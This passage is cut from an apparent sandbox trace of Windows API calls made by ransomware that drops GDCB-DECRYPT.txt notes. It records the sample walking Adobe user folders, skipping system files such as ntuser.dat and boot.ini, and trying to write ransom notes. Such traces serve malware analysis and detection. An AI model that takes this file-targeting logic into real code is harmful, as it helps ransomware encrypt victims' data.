returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt" [0135.409] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.410] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned 89 [0135.410] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned 89 [0135.410] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned 89 [0135.410] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned 89 [0135.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.410] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.410] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0135.410] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.410] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.410] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.410] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.410] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt" [0135.410] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.411] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned 80 [0135.411] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned 80 [0135.411] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned 80 [0135.411] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned 80 [0135.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.411] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.411] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.411] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.411] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.411] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.411] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.411] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.411] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0135.411] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.412] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 68 [0135.412] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 68 [0135.412] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 68 [0135.412] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 68 [0135.412] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.412] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.412] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.412] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.412] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.412] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.412] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.412] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.412] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.412] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.412] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.412] FindClose (in: hFindFile=0x2c77c0 | out: hFindFile=0x2c77c0) returned 1 [0135.412] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.412] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0135.412] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0135.412] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" [0135.412] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\" [0135.412] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.412] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.412] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.412] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.412] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.412] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.413] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned 57 [0135.413] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*" [0135.413] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7780 [0135.413] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.413] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.413] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.413] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.413] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.413] lstrcmpW (lpString1="AssetCache", lpString2=".") returned 1 [0135.413] lstrcmpW (lpString1="AssetCache", lpString2="..") returned 1 [0135.414] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="AssetCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0135.414] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned 67 [0135.414] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.414] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.414] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.414] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt" [0135.414] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned 73 [0135.414] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.414] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.414] lstrcmpW (lpString1="NativeCache", lpString2=".") returned 1 [0135.414] lstrcmpW (lpString1="NativeCache", lpString2="..") returned 1 [0135.414] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="NativeCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" [0135.414] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned 68 [0135.414] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.414] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.414] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.414] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\\\GDCB-DECRYPT.txt") returned 74 [0135.414] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.416] GetLastError () returned 0x50 [0135.416] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.416] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned 57 [0135.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*" [0135.416] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7900 [0135.417] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.417] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.417] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.417] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.417] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.417] lstrcmpW (lpString1="AssetCache", lpString2=".") returned 1 [0135.417] lstrcmpW (lpString1="AssetCache", lpString2="..") returned 1 [0135.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="AssetCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0135.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\" [0135.417] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.417] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.417] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.417] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.417] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.417] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.417] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned 68 [0135.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*" [0135.417] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7640 [0135.418] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.418] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.418] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.418] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.418] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.418] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.418] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt" [0135.418] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned 84 [0135.418] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.419] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.419] lstrcmpW (lpString1="NAHQNPMN", lpString2=".") returned 1 [0135.419] lstrcmpW (lpString1="NAHQNPMN", lpString2="..") returned 1 [0135.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="NAHQNPMN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0135.419] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned 76 [0135.419] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.419] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.419] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.419] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\\\GDCB-DECRYPT.txt") returned 85 [0135.419] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\assetcache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.419] GetLastError () returned 0x50 [0135.419] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.420] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned 68 [0135.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*" [0135.420] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7ac0 [0135.420] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.420] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.420] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.420] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.420] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.420] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.420] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt" [0135.420] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.420] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned 84 [0135.420] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned 84 [0135.420] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned 84 [0135.420] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned 84 [0135.420] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.420] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.420] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.420] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.420] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.420] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.420] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.420] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.420] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.420] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.420] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.420] lstrcmpW (lpString1="NAHQNPMN", lpString2=".") returned 1 [0135.420] lstrcmpW (lpString1="NAHQNPMN", lpString2="..") returned 1 [0135.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="NAHQNPMN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0135.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\" [0135.420] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.421] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.421] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned 77 [0135.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*" [0135.421] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c76c0 [0135.421] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.421] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: 